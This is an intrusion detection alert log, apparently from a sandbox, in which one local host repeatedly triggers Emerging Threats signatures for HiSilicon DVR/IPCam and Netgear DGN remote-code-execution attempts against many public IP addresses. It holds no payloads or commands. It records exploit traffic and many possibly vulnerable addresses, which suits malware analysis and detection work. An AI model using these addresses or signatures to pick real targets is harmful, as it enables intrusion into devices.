05/16/24-16:39:16.579400	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58016	9530	192.168.2.23	166.204.159.63
05/16/24-16:38:59.520010	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51384	9530	192.168.2.23	19.73.108.13
05/16/24-16:39:05.701609	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38122	9530	192.168.2.23	156.135.1.11
05/16/24-16:38:59.589051	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51730	9530	192.168.2.23	90.127.20.32
05/16/24-16:39:12.298361	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56908	9530	192.168.2.23	103.211.168.19
05/16/24-16:39:12.298361	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56908	9530	192.168.2.23	103.211.168.19
05/16/24-16:39:05.675818	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58216	9530	192.168.2.23	172.199.185.95
05/16/24-16:39:05.675818	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58216	9530	192.168.2.23	172.199.185.95
05/16/24-16:39:05.506752	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	60530	80	192.168.2.23	8.172.120.59
05/16/24-16:39:13.661858	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	37620	80	192.168.2.23	173.127.104.48
05/16/24-16:38:55.216350	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58932	9530	192.168.2.23	112.88.247.171
05/16/24-16:39:12.295361	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53134	9530	192.168.2.23	85.79.49.5
05/16/24-16:38:55.216350	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58932	9530	192.168.2.23	112.88.247.171
05/16/24-16:39:12.295361	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53134	9530	192.168.2.23	85.79.49.5
05/16/24-16:38:57.446978	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58248	9530	192.168.2.23	163.244.101.158
05/16/24-16:39:05.677933	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58708	9530	192.168.2.23	61.249.171.147
05/16/24-16:38:57.446978	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58248	9530	192.168.2.23	163.244.101.158
05/16/24-16:39:05.677933	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58708	9530	192.168.2.23	61.249.171.147
05/16/24-16:38:55.176055	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47158	9530	192.168.2.23	106.217.228.99
05/16/24-16:38:57.411108	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43336	9530	192.168.2.23	114.152.94.38
05/16/24-16:38:57.411108	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43336	9530	192.168.2.23	114.152.94.38
05/16/24-16:38:55.176055	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47158	9530	192.168.2.23	106.217.228.99
05/16/24-16:39:12.295432	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43162	9530	192.168.2.23	151.29.127.26
05/16/24-16:39:12.295432	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43162	9530	192.168.2.23	151.29.127.26
05/16/24-16:39:05.700300	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42040	9530	192.168.2.23	175.152.122.47
05/16/24-16:39:05.700300	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42040	9530	192.168.2.23	175.152.122.47
05/16/24-16:39:05.699558	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45228	9530	192.168.2.23	217.220.188.142
05/16/24-16:39:05.699558	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45228	9530	192.168.2.23	217.220.188.142
05/16/24-16:39:08.125373	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53994	9530	192.168.2.23	147.24.18.93
05/16/24-16:38:50.046610	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43692	9530	192.168.2.23	108.89.164.74
05/16/24-16:39:08.125373	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53994	9530	192.168.2.23	147.24.18.93
05/16/24-16:38:53.410061	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	51066	80	192.168.2.23	64.175.91.127
05/16/24-16:39:12.380535	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34954	9530	192.168.2.23	139.198.144.160
05/16/24-16:39:12.380535	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34954	9530	192.168.2.23	139.198.144.160
05/16/24-16:38:55.176056	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37626	9530	192.168.2.23	40.71.216.16
05/16/24-16:38:50.046610	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43692	9530	192.168.2.23	108.89.164.74
05/16/24-16:38:55.176056	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37626	9530	192.168.2.23	40.71.216.16
05/16/24-16:38:57.408887	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48962	9530	192.168.2.23	147.93.213.142
05/16/24-16:38:57.408887	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48962	9530	192.168.2.23	147.93.213.142
05/16/24-16:39:16.602122	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33386	9530	192.168.2.23	51.68.192.19
05/16/24-16:39:16.602122	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33386	9530	192.168.2.23	51.68.192.19
05/16/24-16:38:57.429392	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48102	9530	192.168.2.23	199.253.103.230
05/16/24-16:38:57.429392	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48102	9530	192.168.2.23	199.253.103.230
05/16/24-16:38:49.278138	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	51984	80	192.168.2.23	64.205.122.221
05/16/24-16:39:05.702496	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48354	9530	192.168.2.23	53.124.221.92
05/16/24-16:39:05.702496	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48354	9530	192.168.2.23	53.124.221.92
05/16/24-16:38:55.196413	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47512	9530	192.168.2.23	88.36.240.37
05/16/24-16:38:55.196413	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47512	9530	192.168.2.23	88.36.240.37
05/16/24-16:38:55.192606	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35054	9530	192.168.2.23	150.39.16.194
05/16/24-16:38:49.277416	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	37404	80	192.168.2.23	17.202.189.141
05/16/24-16:38:59.519407	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50178	9530	192.168.2.23	41.113.67.138
05/16/24-16:38:55.210439	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60768	9530	192.168.2.23	143.237.137.237
05/16/24-16:38:59.519407	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50178	9530	192.168.2.23	41.113.67.138
05/16/24-16:39:03.256881	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60654	9530	192.168.2.23	187.130.88.43
05/16/24-16:39:03.280165	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35056	9530	192.168.2.23	200.119.213.156
05/16/24-16:39:03.280165	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35056	9530	192.168.2.23	200.119.213.156
05/16/24-16:38:55.210439	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60768	9530	192.168.2.23	143.237.137.237
05/16/24-16:38:55.176038	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41180	9530	192.168.2.23	223.2.87.165
05/16/24-16:38:55.176038	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41180	9530	192.168.2.23	223.2.87.165
05/16/24-16:38:55.198254	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54122	9530	192.168.2.23	104.88.16.255
05/16/24-16:39:03.256881	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60654	9530	192.168.2.23	187.130.88.43
05/16/24-16:38:53.013566	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36260	9530	192.168.2.23	132.140.67.87
05/16/24-16:38:55.198254	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54122	9530	192.168.2.23	104.88.16.255
05/16/24-16:39:05.506976	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	36038	80	192.168.2.23	141.201.95.83
05/16/24-16:38:53.013566	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36260	9530	192.168.2.23	132.140.67.87
05/16/24-16:38:53.084569	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33396	9530	192.168.2.23	206.2.207.91
05/16/24-16:38:53.084569	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33396	9530	192.168.2.23	206.2.207.91
05/16/24-16:38:49.306027	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	47404	80	192.168.2.23	119.61.39.176
05/16/24-16:38:59.587419	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56596	9530	192.168.2.23	179.185.85.83
05/16/24-16:39:02.726911	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33708	9530	192.168.2.23	159.251.63.166
05/16/24-16:39:05.678411	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40276	9530	192.168.2.23	103.37.49.44
05/16/24-16:38:57.441180	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58552	9530	192.168.2.23	186.212.216.118
05/16/24-16:39:05.717244	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41704	9530	192.168.2.23	115.96.190.126
05/16/24-16:39:02.726911	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33708	9530	192.168.2.23	159.251.63.166
05/16/24-16:39:05.717244	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41704	9530	192.168.2.23	115.96.190.126
05/16/24-16:38:57.411400	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53332	9530	192.168.2.23	40.80.206.54
05/16/24-16:38:57.411400	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53332	9530	192.168.2.23	40.80.206.54
05/16/24-16:38:57.441180	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58552	9530	192.168.2.23	186.212.216.118
05/16/24-16:39:16.614064	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34718	9530	192.168.2.23	139.95.28.119
05/16/24-16:38:59.587419	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56596	9530	192.168.2.23	179.185.85.83
05/16/24-16:39:16.614064	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34718	9530	192.168.2.23	139.95.28.119
05/16/24-16:39:12.304113	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34612	9530	192.168.2.23	207.221.22.112
05/16/24-16:39:12.304113	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34612	9530	192.168.2.23	207.221.22.112
05/16/24-16:39:08.041076	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41856	9530	192.168.2.23	179.23.6.209
05/16/24-16:39:08.041076	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41856	9530	192.168.2.23	179.23.6.209
05/16/24-16:38:57.304697	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40638	9530	192.168.2.23	221.181.74.243
05/16/24-16:38:57.304697	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40638	9530	192.168.2.23	221.181.74.243
05/16/24-16:39:14.530243	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35792	9530	192.168.2.23	88.32.91.49
05/16/24-16:39:16.598452	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36798	9530	192.168.2.23	140.31.92.181
05/16/24-16:39:16.598452	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36798	9530	192.168.2.23	140.31.92.181
05/16/24-16:39:16.580801	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54644	9530	192.168.2.23	157.119.58.132
05/16/24-16:38:59.609926	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53586	9530	192.168.2.23	175.212.198.171
05/16/24-16:38:59.609926	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53586	9530	192.168.2.23	175.212.198.171
05/16/24-16:39:05.678411	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40276	9530	192.168.2.23	103.37.49.44
05/16/24-16:39:14.530243	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35792	9530	192.168.2.23	88.32.91.49
05/16/24-16:39:16.580801	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54644	9530	192.168.2.23	157.119.58.132
05/16/24-16:39:14.507644	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53772	9530	192.168.2.23	137.59.205.237
05/16/24-16:39:14.507644	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53772	9530	192.168.2.23	137.59.205.237
05/16/24-16:38:57.411414	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57102	9530	192.168.2.23	156.32.139.157
05/16/24-16:39:12.382866	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54584	9530	192.168.2.23	52.167.19.34
05/16/24-16:38:50.004175	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51036	9530	192.168.2.23	71.74.233.156
05/16/24-16:38:50.004175	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51036	9530	192.168.2.23	71.74.233.156
05/16/24-16:38:57.411414	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57102	9530	192.168.2.23	156.32.139.157
05/16/24-16:39:12.382866	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54584	9530	192.168.2.23	52.167.19.34
05/16/24-16:39:05.699560	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54470	9530	192.168.2.23	217.243.208.148
05/16/24-16:39:08.125313	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51660	9530	192.168.2.23	87.167.159.22
05/16/24-16:38:55.196494	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54728	9530	192.168.2.23	125.148.5.224
05/16/24-16:38:55.196494	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54728	9530	192.168.2.23	125.148.5.224
05/16/24-16:39:08.125313	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51660	9530	192.168.2.23	87.167.159.22
05/16/24-16:39:05.699560	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54470	9530	192.168.2.23	217.243.208.148
05/16/24-16:39:14.492169	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33898	9530	192.168.2.23	100.177.61.33
05/16/24-16:39:14.492169	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33898	9530	192.168.2.23	100.177.61.33
05/16/24-16:38:55.226412	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44314	9530	192.168.2.23	114.143.117.107
05/16/24-16:38:55.226412	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44314	9530	192.168.2.23	114.143.117.107
05/16/24-16:38:50.004213	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33708	9530	192.168.2.23	20.65.237.135
05/16/24-16:38:50.004213	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33708	9530	192.168.2.23	20.65.237.135
05/16/24-16:38:55.176120	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58986	9530	192.168.2.23	111.255.55.171
05/16/24-16:38:55.176120	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58986	9530	192.168.2.23	111.255.55.171
05/16/24-16:39:08.127975	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46630	9530	192.168.2.23	67.214.84.254
05/16/24-16:39:09.591889	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	46886	80	192.168.2.23	57.149.215.70
05/16/24-16:39:08.127975	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46630	9530	192.168.2.23	67.214.84.254
05/16/24-16:39:16.582512	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36188	9530	192.168.2.23	169.247.209.138
05/16/24-16:38:57.409029	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57172	9530	192.168.2.23	17.252.234.203
05/16/24-16:39:16.582512	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36188	9530	192.168.2.23	169.247.209.138
05/16/24-16:38:57.409029	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57172	9530	192.168.2.23	17.252.234.203
05/16/24-16:39:08.148299	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48036	9530	192.168.2.23	150.59.138.51
05/16/24-16:38:55.176105	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53112	9530	192.168.2.23	187.184.37.29
05/16/24-16:39:08.148299	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48036	9530	192.168.2.23	150.59.138.51
05/16/24-16:38:55.176105	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53112	9530	192.168.2.23	187.184.37.29
05/16/24-16:38:57.451882	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37370	9530	192.168.2.23	83.56.213.5
05/16/24-16:38:57.451882	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37370	9530	192.168.2.23	83.56.213.5
05/16/24-16:39:03.275985	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55474	9530	192.168.2.23	78.84.37.181
05/16/24-16:38:59.559323	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37928	9530	192.168.2.23	31.221.119.53
05/16/24-16:38:59.559323	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37928	9530	192.168.2.23	31.221.119.53
05/16/24-16:38:50.047743	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48200	9530	192.168.2.23	25.126.104.194
05/16/24-16:38:50.047743	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48200	9530	192.168.2.23	25.126.104.194
05/16/24-16:38:53.013575	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47028	9530	192.168.2.23	84.174.50.35
05/16/24-16:38:53.013575	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47028	9530	192.168.2.23	84.174.50.35
05/16/24-16:38:59.590347	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45274	9530	192.168.2.23	37.75.248.38
05/16/24-16:38:59.590347	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45274	9530	192.168.2.23	37.75.248.38
05/16/24-16:39:03.275985	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55474	9530	192.168.2.23	78.84.37.181
05/16/24-16:38:57.304727	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48568	9530	192.168.2.23	184.237.229.21
05/16/24-16:38:57.304727	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48568	9530	192.168.2.23	184.237.229.21
05/16/24-16:38:50.065079	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48046	9530	192.168.2.23	75.209.124.243
05/16/24-16:38:50.065079	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48046	9530	192.168.2.23	75.209.124.243
05/16/24-16:39:03.256874	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46966	9530	192.168.2.23	84.22.164.233
05/16/24-16:39:03.256856	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54636	9530	192.168.2.23	88.37.160.195
05/16/24-16:39:03.256874	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46966	9530	192.168.2.23	84.22.164.233
05/16/24-16:39:03.256856	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54636	9530	192.168.2.23	88.37.160.195
05/16/24-16:38:53.084711	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43022	9530	192.168.2.23	107.141.198.220
05/16/24-16:38:53.084711	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43022	9530	192.168.2.23	107.141.198.220
05/16/24-16:38:55.201827	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45202	9530	192.168.2.23	50.82.38.217
05/16/24-16:39:08.136455	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57250	9530	192.168.2.23	195.228.73.17
05/16/24-16:38:55.201827	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45202	9530	192.168.2.23	50.82.38.217
05/16/24-16:39:08.136455	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57250	9530	192.168.2.23	195.228.73.17
05/16/24-16:39:12.301264	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38972	9530	192.168.2.23	75.253.96.231
05/16/24-16:39:12.301264	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38972	9530	192.168.2.23	75.253.96.231
05/16/24-16:38:55.216368	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43490	9530	192.168.2.23	172.241.248.151
05/16/24-16:39:14.493465	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43438	9530	192.168.2.23	19.126.238.229
05/16/24-16:39:14.493465	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43438	9530	192.168.2.23	19.126.238.229
05/16/24-16:38:55.216368	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43490	9530	192.168.2.23	172.241.248.151
05/16/24-16:38:55.176105	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42472	9530	192.168.2.23	217.14.118.25
05/16/24-16:38:55.176105	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42472	9530	192.168.2.23	217.14.118.25
05/16/24-16:38:50.063158	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57704	9530	192.168.2.23	213.64.188.180
05/16/24-16:39:12.298280	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52420	9530	192.168.2.23	102.63.221.30
05/16/24-16:38:50.063158	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57704	9530	192.168.2.23	213.64.188.180
05/16/24-16:39:12.298280	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52420	9530	192.168.2.23	102.63.221.30
05/16/24-16:39:05.678466	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38428	9530	192.168.2.23	60.106.253.56
05/16/24-16:38:50.004119	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41052	9530	192.168.2.23	62.12.76.75
05/16/24-16:39:05.678466	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38428	9530	192.168.2.23	60.106.253.56
05/16/24-16:38:50.004119	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41052	9530	192.168.2.23	62.12.76.75
05/16/24-16:38:55.223812	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36420	9530	192.168.2.23	102.217.119.50
05/16/24-16:39:12.401751	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39256	9530	192.168.2.23	123.56.234.171
05/16/24-16:38:55.223812	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36420	9530	192.168.2.23	102.217.119.50
05/16/24-16:39:12.401751	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39256	9530	192.168.2.23	123.56.234.171
